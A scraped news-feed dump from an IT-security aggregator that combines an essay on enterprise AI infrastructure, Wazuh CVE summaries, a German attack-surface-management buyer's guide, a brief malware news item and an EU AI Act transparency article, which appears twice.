This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.

Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.

Observability has to expand

Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?

AI needs that, but it also needs more.

We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.

We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.

In production AI, observability is not only about uptime. It is about confidence.

If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.

This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.

Data readiness is still underestimated

AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.

Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.

AI does not fix that automatically. In many cases, it makes the problem more visible.

A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.

That is a real risk.

Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.

The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “Enabling Fault-Tolerant Multicast in Cloud-Native Architectures” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.

CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.

Security cannot be added later

As AI moves from answering questions to acting, security becomes much more important.

An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.

The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.

Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.

AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.

The NIST AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.

Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.

The CIO has to define the operating model

AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.

The CIO sits in the middle of all of it.

That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.

That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?

This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.

The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.

They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.

The model still matters. But the enterprise behind the model matters more.

A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.

That is the shift CIOs need to lead.

The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[AI Monitoring: Gaining Control Over Enterprise AI Usage]]> https://tsecurity.de/de/3683071/it-security-nachrichten/ai-monitoring-gaining-control-over-enterprise-ai-usage/ https://tsecurity.de/de/3683071/it-security-nachrichten/ai-monitoring-gaining-control-over-enterprise-ai-usage/ Tue, 21 Jul 2026 10:54:32 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[CVE-2026-33754 | Wazuh up to 4.14.4 Cluster Protocol Parser memory allocation (WID-SEC-2026-2377)]]> https://tsecurity.de/de/3682891/sicherheitsluecken/cve-2026-33754-wazuh-up-to-4144-cluster-protocol-parser-memory-allocation-wid-sec-2026-2377/ https://tsecurity.de/de/3682891/sicherheitsluecken/cve-2026-33754-wazuh-up-to-4144-cluster-protocol-parser-memory-allocation-wid-sec-2026-2377/ Tue, 21 Jul 2026 09:09:00 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical has been detected in Wazuh up to 4.14.4. This affects an unknown part of the component Cluster Protocol Parser. Performing a manipulation results in uncontrolled memory allocation. This vulnerability is cataloged as CVE-2026-33754. It is possible to initiate the attack remotely. There is no exploit available.]]> <![CDATA[CVE-2026-28220 | Wazuh up to 4.14.4 Cluster Distributed API common.py as_wazuh_object rbac_permissions deserialization (WID-SEC-2026-2377)]]> https://tsecurity.de/de/3682890/sicherheitsluecken/cve-2026-28220-wazuh-up-to-4144-cluster-distributed-api-commonpy-aswazuhobject-rbacpermissions-deserialization-wid-sec-2026-2377/ https://tsecurity.de/de/3682890/sicherheitsluecken/cve-2026-28220-wazuh-up-to-4144-cluster-distributed-api-commonpy-aswazuhobject-rbacpermissions-deserialization-wid-sec-2026-2377/ Tue, 21 Jul 2026 09:08:59 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Wazuh up to 4.14.4 and classified as very critical. This vulnerability affects the function as_wazuh_object of the file framework/wazuh/core/cluster/common.py of the component Cluster Distributed API. Such manipulation of the argument rbac_permissions leads to deserialization. This vulnerability is documented as CVE-2026-28220. The attack can be executed remotely. There is not any exploit available.]]> <![CDATA[The air gap is a myth and other OT security truths]]> https://tsecurity.de/de/3682829/it-security-nachrichten/the-air-gap-is-a-myth-and-other-ot-security-truths/ https://tsecurity.de/de/3682829/it-security-nachrichten/the-air-gap-is-a-myth-and-other-ot-security-truths/ Tue, 21 Jul 2026 08:24:18 +0200 📰 IT Security Nachrichten tsecurity.de Benjamin Bachmann, Director Group Information Security at Bilfinger, speaks with Help Net Security about defending industrial plants. He explains why attackers want to control operations instead of stealing data, and why the air gap is mostly a myth. Bachmann covers how containment plans get negotiated before an incident, how to build visibility on old equipment through network monitoring, and how ransomware crews price their demands on downtime. He also questions the idea that people are 
 More →

The post The air gap is a myth and other OT security truths appeared first on Help Net Security.

]]> <![CDATA[Attack Surface Management – ein Kaufratgeber]]> https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/ https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/ Tue, 21 Jul 2026 06:24:36 +0200 📰 IT Security Nachrichten tsecurity.de
Cat Bite 16z9
Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafĂŒr, dass sich Angreifer gar nicht erst verbeißen.

Sergey Zaykov | shutterstock.com

RegelmĂ€ĂŸige Netzwerk-Scans reichen fĂŒr eine gehĂ€rtete AngriffsflĂ€che nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundendaten zu gewĂ€hrleisten, ist eine kontinuierliche Überwachung auf neue Ressourcen und Konfigurationsabweichungen erforderlich. Werkzeuge aus den Bereichen Cyber Asset Attack Surface Management (CAASM) sowie External Attack Surface Management (EASM) sind darauf ausgelegt, die AngriffsflĂ€che von Unternehmen:

  • zu quantifizieren,

  • zu minimieren, und

  • zu hĂ€rten.

Das Ziel besteht dabei darin, den Angreifern möglichst wenig Informationen ĂŒber das Security-Niveau des Unternehmens zu geben und gleichzeitig kritische Business Services aufrechtzuerhalten. Dabei spielt inzwischen auch Agentic AI eine immer grĂ¶ĂŸere Rolle.

12 Attack-Surface-Management-Tools

Die folgenden zwölf Lösungen unterstĂŒtzen Sie dabei, Risiken zu identifizieren und zu managen.

Axonius Cyber Asset Attack Surface Management

Diese CAASM-Suite von Axonius deckt alle wichtigen Aspekte ab, wenn es um Attack Surface Monitoring geht. Das Tool erstellt zunÀchst ein Asset-Inventar, das automatisch aktualisiert und mit Kontext aus internen Datenquellen und Ressourcen angereichert wird.

Dabei ist es auch möglich, Monitoring-Prozesse aufzusetzen, die auf Grundlage von Richtlinien wie PCI oder HIPAA ablaufen. So lassen sich Konfigurationen oder Schwachstellen identifizieren, die diesen zuwiderlaufen und entsprechende Maßnahmen ergreifen.

Bugcrowd EASM

Bugcrowd hat im Mai 2024 Informer.io ĂŒbernommen und dessen EASM-Angebot in seine Security-Plattform integriert. Diese automatisiert die Asset Discovery ĂŒber Webapplikationen, APIs und andere “public facing”-Komponenten des IT-Stacks hinweg.

Assets ĂŒberwacht die Lösung kontinuierlich, wobei identifizierte Risiken in Echtzeit priorisiert werden. DarĂŒber hinaus stehen auch Zusatz-Services wie manuelle RisikoprĂŒfungen oder Penetrationstests zur VerfĂŒgung. Das Workflow-basierte Response-System der Lösung verspricht eine einfachere Einbindung mehrerer Teams, indem existierende Ticketing- und Kommunikations-Tools integriert werden. Praktisch ist auch die Möglichkeit, KonfigurationsĂ€nderungen oder System Updates zu validieren, um sicherzustellen, dass identifizierte Bedrohungen tatsĂ€chlich bereinigt wurden.  

CrowdStrike Falcon Exposure Management

Crowdstrike hat sein Falcon-Surface-Angebot von einem Standalone EASM-Tool zu einem Kernbestandteil von Falcon Exposure Management ausgebaut. Die Lösung wird nun auch durch KI-nativen Code dabei unterstĂŒtzt, Risiken zu identifizieren und auszuschalten. DarĂŒber hinaus kommt die Technologie auch fĂŒr Adversarial-AI-Szenarien zum Einsatz.

Die Crowdstrike-Lösung kann außerdem:

  • Risiken mit dem Business-Kontext korrelieren,
  • die Ausnutzbarkeit validieren und
  • direkte Abhilfemaßnahmen ĂŒber die Falcon-Plattform einleiten.

Unternehmen sollen sich mit dem Tool einen nachhaltigen Überblick ĂŒber ihre AngriffsflĂ€che verschaffen und Risiken oder Bedrohungen mit einer Vielzahl von Techniken aufspĂŒren können. Dazu gehören etwa aktive, passive und API-basierte Scans, um mit dem Internet verbundene Ressourcen zu identifizieren.

Falcon Exposure Management ist nicht Teil des Enterprise-Softwarepakets von Crowdstrike. Es kann als Abonnementlizenz auf Basis der gemanagten Endpunkte erworben werden.

CyCognito Attack Surface Management

Das CAASM-Produkt von CyCognito bietet eine kontinuierliche Überwachung und Inventarisierung von Assets. Dabei spielt es keine Rolle, ob diese On-Premises, in der Cloud, bei einem Drittanbieter oder einer Tochtergesellschaft vorliegen.

Um den Triage-Prozess und die Risiko-Priorisierung zu erleichtern, kann auch Business-Kontext hinzugefĂŒgt werden (beispielsweise Beziehungen zwischen einzelnen Assets). Das hilft dabei, sich auf die wichtigsten Netzwerkrisiken zu konzentrieren. CyCognitos Tool verfolgt darĂŒber hinaus auch KonfigurationsĂ€nderungen und ermöglicht so, neue Risiken fĂŒr die Unternehmensinfrastruktur schnell zu identifizieren.

JupiterOne Cyber Asset Attack Surface Management

JupiterOne preist seine CAASM-Lösung als eine Möglichkeit an, “Cyber-Asset-Daten nahtlos in einer einheitlichen Ansicht zu aggregieren”. Der Kontext wird bei Bedarf automatisch hinzugefĂŒgt, und die Beziehungen zwischen den Assets können definiert und optimiert werden, um Schwachstellenanalyse und Incident-Response-FĂ€higkeiten zu verbessern.

Benutzerdefinierte Abfragen ermöglichen es Cybersecurity-Teams, komplexe Fragen zu beantworten, wĂ€hrend der Asset-Bestand ĂŒber eine interaktive Map durchsucht werden kann. Die Security-Tools, in die Sie bereits investiert haben, können Sie integrieren – was eine ganzheitliche, zentralisierte Perspektive auf das Security-Niveau zulĂ€sst.

Microsoft Defender External Attack Surface Management

Microsoft Defender EASM erkennt nicht verwaltete Assets und Ressourcen, die per Schatten-IT bereitgestellt werden oder sich auf anderen Cloud-Plattformen befinden. Sobald die Assets und Ressourcen identifiziert sind, sucht das Tool nach Schwachstellen auf jeder Ebene des Technologie-Stacks, einschließlich der zugrunde liegenden Plattform, App-Frameworks, Webanwendungen, Komponenten und des Kerncodes.

Defender EASM ermöglicht es IT-Profis, Schwachstellen in neu entdeckten Ressourcen schnell zu beheben, indem diese nach Entdeckung in Echtzeit kategorisiert und priorisiert werden. NaturgemĂ€ĂŸ lĂ€sst sich Defender EASM eng mit anderen Microsoft-Lösungen wie Security Copilot integrieren.

Outpost24 EASM

Der schwedische Anbieter Outpost24 hat 2023 den belgischen EASM-Anbieter Sweepatic ĂŒbernommen und dessen Tool in seine Modul-Kollektion fĂŒr Threat Intelligence, Data Leakage und Pentesting integriert. Diese EASM-Lösung ist sowohl Standalone, als auch als Managed Service erhĂ€ltlich und kann Daten entweder passiv ĂŒber DNS und andere TCP/IP-Details oder ĂŒber direkte Verbindungen zu Cloud-Anbietern wie AWS und Azure sowie den Lösungen großer Softwareanbieter (etwa ServiceNow, Slack oder Atlassian) erfassen.

Palo Alto Networks Cortex Xpanse

Xpanse ist Teil der XSIAM-Produktsuite von Palo Alto, kann jedoch auch separat erworben werden. Das Standalone-Produkt hat allerdings einen etwas geringeren Funktionsumfang.

Das Palo-Alto-Tool unterstĂŒtzt auch die Integration mit Tools von Drittanbietern wie Qualys, Jira und ServiceNow. Zudem verfĂŒgt das Produkt ĂŒber eine beeindruckende Auswahl an vorgefertigten Detection-Regeln, Widgets, um Queries und Discovery-Routinen zu erstellen und anpassbare Daten-Dashboards aufzusetzen.

Rapid7 Surface Command

Surface Command ist nur eines von zahlreichen Modulen, das Rapid7 im Angebot hat (unter anderem Vulnerability und Incident Management sowie Cloud-Native Security). Das Tool bringt Threat Exposure, Detection und Response unter einen Nenner und verspricht eine kontinuierliche „Vogelperspektive“ ĂŒber sĂ€mtliche Schwachstellen – vom Endpunkt bis hin zur Cloud.

Das Rapid-7-Tool ist darauf konzipiert, blinde Flecken in der Security aufzuspĂŒren sowie Reaktion und Behebung zu beschleunigen. FĂŒr letzteres sind zudem auch agentenbasierte KI-Funktionen enthalten.

RiskProfiler EASM

Über die RiskProfiler-Plattform lassen sich sĂ€mtliche externen Bedrohungen managen. Das Tool ermöglicht beispielsweise Dark-Web-Monitoring, digitales Monitoring sowie Hacking-Kampagnen, Schwachstellen und Supply-Chain-Angriffe zu tracken. Die hieraus gewonnenen Bedrohungsinformationen werden von KI-Agenten zu einem einheitlichen Korpus verdichtet.

Bestandteil des Tools sind zudem mehr als 13.000 vorinstallierte Regeln, die sowohl Open-Source- als auch eigene proprietÀre Algorithmen miteinander verbinden. Auch die Risikobewertungen von Drittanbietern werden analysiert. Ein anpassbares Management-Dashboard visualisiert die Daten in diversen Ansichten. 

SOCRadar AttackMapper

Mit AttackMapper (ein Teil der Tool-Suite fĂŒr SOC-Teams), will SOCRadar, den Anwendern die Sicht der Angreifer auf die Assets ermöglichen. Das Tool ĂŒberwacht Assets mithilfe von Agentic AI dynamisch in Echtzeit, identifiziert neue oder verĂ€nderte und analysiert sie auf potenzielle Schwachstellen.

Die Ergebnisse werden mit bekannten Angriffsmethoden korreliert, um den Entscheidungsfindungs- und Triageprozess zu unterstĂŒtzen. Dabei ĂŒberwacht AttackMapper nicht nur Endpunkte und Software Vulnerabilities, sondern auch SSL-Schwachstellen, abgelaufene Zertifikate, DNS-EintrĂ€ge und Konfigurationen. Das Tool erkennt selbst Website-Defacement-Angriffe, was entscheidend sein kann, um die Markenreputation zu schĂŒtzen.

Tenable Attack Surface Management

Tenable hat schon seit einigen Jahren Tools im Angebot, um Schwachstellen aufzuspĂŒren – und auch die aktuelle Tool-Suite wird modernen IT-Sicherheitsanforderungen gerecht. Bei Tenable Attack Surface Management handelt es sich um das EASM-Modul des Unternehmens, das in dessen Exposure-Management-Plattform „One“ integriert ist.

Tenable Attack Surface Management liefert Kontext und Details zu Assets und Schwachstellen, allerdings nicht nur aus technischer Sicht, sondern auch auf Business-Ebene, was fĂŒr eine umfassende Priorisierung der Maßnahmen erforderlich ist.

7 Fragen vor dem ASM-Invest

Die folgenden Fragen sollten Sie sich und potenziellen Anbietern von Attack-Surface-Management-Lösungen stellen, bevor Sie einen Vertrag unterzeichnen.

  • Benötigt unser Unternehmen eine EASM- oder eine CAASM-Lösung? Die Antwort darauf hĂ€ngt davon ab, ob Sie nach internen oder externen Angreifern suchen – und wie groß der Anteil Ihrer lokalen Infrastruktur ist.
  • Wie umfangreich – und effektiv – ist das Tool automatisiert? Erkennt es zuverlĂ€ssig alle anfĂ€lligen Ressoucren, einschließlich digitaler Zertifikate, offengelegter Anmeldedaten und mit dem Netz verbundene Server und Services? Welche Metadaten und weiteren Details liefert die Lösung?  
  • Wie behebt die Lösung Schwachstellen, wenn sie welche findet? LĂ€uft das automatisiert ab oder sind manuelle Eingriffe erforderlich?
  • UnterstĂŒtzt das Tool Continuous Monitoring? Und falls ja: Wie werden VerĂ€nderungen nachgehalten?
  • Welche Schwachstellen werden wie mit anderen SOC-Tools geteilt oder integriert?
  • Gibt es unterschiedliche Dashboards fĂŒr Management- und andere Zwecke? Beziehungsweise: Wie lĂ€sst sich das Tool auf unterschiedliche Benutzergruppen anpassen?
  • Wie sieht ihre Preisgestaltung im Detail aus? Stellen Sie sicher, dass Sie das PreisgefĂŒge des Anbieters Ihrer Wahl wirklich verstehen. In den meisten FĂ€llen sind Sie dabei mit komplexen, nutzungsabhĂ€ngigen Abrechnungsmodellen konfrontiert.

(fm)

Dieser Beitrag ist im Original bei unserer Schwesterpublikation CSOonline.com erschienen.

]]> <![CDATA[HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern]]> https://tsecurity.de/de/3682586/it-security-nachrichten/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern/ https://tsecurity.de/de/3682586/it-security-nachrichten/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern/ Tue, 21 Jul 2026 05:08:46 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – Eine neu entdeckte Spionage-Implant-Variante nutzt Microsoft 365 Kalender als verschleierten Kommando- und Datenkanal. Das Vorgehen lĂ€uft ĂŒber legitimen Microsoft Graph API-Traffic und hinterlĂ€sst daher bei vielen Baseline-Analysen kaum auffĂ€llige Muster. ZusĂ€tzlich aktualisiert die Malware ĂŒber DNS Entra-ID-Zugangsdaten, um die App-Berechtigungen am Leben zu halten. FĂŒr Unternehmen wird vor allem das Monitoring [
]

Dieser Beitrag HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 04:02:28 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 03:48:17 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

